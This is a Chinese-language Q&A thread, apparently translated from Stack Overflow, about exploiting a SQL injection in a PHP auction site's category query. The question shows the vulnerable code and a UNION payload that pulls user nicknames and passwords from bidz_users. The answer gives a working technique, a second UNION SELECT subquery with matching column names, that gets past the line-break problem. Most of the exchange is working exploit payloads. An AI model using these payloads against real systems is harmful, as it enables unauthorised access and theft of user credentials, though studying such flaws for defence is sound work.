3

晚上好,我的一个朋友有一个由一些二流开发商开发的网站,现在我的任务是清理他们的工作。我试图向他展示他们制造的一些问题。在他的代码中,有这个确切的块:

$id = $_REQUEST['id'];
//echo time();
$query = "SELECT cat_id,id,category,title,description,pict_url,minimum_bid,ends,cat_name,quantity,flag
              FROM " . $DBPrefix . "categories INNER JOIN ". $DBPrefix . "auctions 
              ON vesp_categories.cat_id=vesp_auctions.category where id=".$id." 
                          AND starts <= ".time()." AND suspended = 0";

(我知道,对吧?)

多个查询是不可能的 - 正在使用 mysql_query 并且没有指示使用多个查询。我可以做一个工会:

?id=143 AND 1=0 union select null,null,null,nick,password,null,null,null,null,null,null from bidz_users limit 1,1-- -

但是'AND开始<=“.time()”的事实。AND suspend = 0"' 换行,破坏了注释字符的效果,只返回一个mysql错误“You have an error in your SQL syntax; 检查与您的 MySQL 服务器版本相对应的手册,以在第 4 行“AND 开始 <= 1365321338 AND 暂停 = 0”附近使用正确的语法

如果我删除查询中的换行符,它会很好用,但是具有足够访问权限来编辑他的 PHP 的攻击者可能不会为 SQL 注入而烦恼

有没有办法解决我的约束的换行/注释问题?或者有人可以提出一个合适的替代方案吗?

PHP >= 5.2 / MySQL

4

1 回答 1

3

您需要确保您的注入仍然会创建有效的语句。因此,您可以使用另一个 UNION SELECT 来修复剩余的语句部分:

143 AND 1=0 union select null,null,null,nick,password,null,null,null,null,null,null from bidz_users limit 1,1 union select * from (select null start,null suspended,null,null,null,null,null,null,null,null,null) t where 1=0

注意在子查询中指定匹配的列名,以便WHERE找到父子句中的列名。

如果您不需要该LIMIT子句,您可以在第一次注入时进行相同的修复SELECT

于 2013-04-07T08:29:10.583 回答